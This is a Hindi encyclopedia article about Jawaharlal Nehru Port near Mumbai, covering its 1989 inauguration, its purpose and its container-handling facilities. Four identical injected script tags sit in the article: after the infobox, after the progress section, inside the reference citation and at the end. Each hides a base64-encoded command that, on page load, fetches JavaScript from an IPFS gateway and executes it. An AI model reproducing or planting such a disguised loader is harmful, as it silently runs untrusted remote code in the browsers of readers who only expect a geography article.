जवाहरलाल नेहरू बंदरगाह

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
जवाहरलाल नेहरू बंदरगाह
जवाहरलाल नेहरू बंदरगाह
विवरण न्हावावेशा या जवाहरलाल नेहरू पत्तन 1988-1989 में भारत का बड़ा बंदरगाह घोषित किया गया।
देश भारत
स्थान मुम्बई
उद्घाटन मई, 1989
संचालन जवाहरलाल नेहरू पोर्ट ट्रस्ट
स्वामित्व भारत सरकार
सुविधाएं सर्वत्र अत्याधिक कम्प्यूटर नियंत्रित तकनीक का प्रयोग किया गया है।
अन्य जानकारी जवाहरलाल नेहरू बंदरगाह का उद्घाटन मई, 1989 में प्रधानमंत्री द्वारा किया गया।
अद्यतन‎ 05:10, 7 दिसम्बर-2016 (IST)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

जवाहरलाल नेहरू बंदरगाह (अंग्रेज़ी: Jawaharlal Nehru Port) अरब सागर तट पर मुंबई के दक्षिण में स्थित एक प्रमुख बंदरगाह है। इस बंदरगाह का निर्माण मुंबई बंदरगाह के यातायात के दबाव को कम करने के लिये किया गया है और मुख्य रूप से यहाँ मालवाहक जहाज़ों का आवागमन होता है। यह भारत का सबसे बड़ा कंटेनर बंदरगाह है।[1]

इतिहास

न्हावावेशा या जवाहरलाल नेहरू पत्तन 1988-1989 में भारत का बड़ा बंदरगाह घोषित किया गया। नेहरू पत्तन मुम्बई से उत्तर में न्यू मुम्बई के निकट मुम्बई बंदरगाह पर बढ़ते दबाव को कम करने के लिए विकसित किया गया है। इस बंदरगाह का उद्घाटन मई, 1989 में प्रधानमंत्री द्वारा किया गया। इस बंदरगाह को जवाहरलाल नेहरू पतन के नाम से जाना जाता है।

सुविधाएं

जवाहरलाल नेहरू बंदरगाह पर सर्वत्र अत्याधिक कम्प्यूटर नियंत्रित तकनीक को काम में लिया गया है। यहां विशाल जहाज़ 80,000 डी.डब्लू.टी.भार वाले एवं विशाल टैंकर एक लाख टन डी.डब्लू.टी. क्षमता वाले ठहर सकते हैं। यह भारत का आधुनिकतम पत्तन है, जहां सर्वत्र अत्याधुनिक कम्प्यूटर नियंत्रित तकनीकों का प्रयोग किया गया है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. भारत का भूगोल |लेखक: डॉ. चतुर्भुज मामोरिया |प्रकाशक: साहित्य भवन पब्लिकेशन्स, आगरा |पृष्ठ संख्या: 369 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>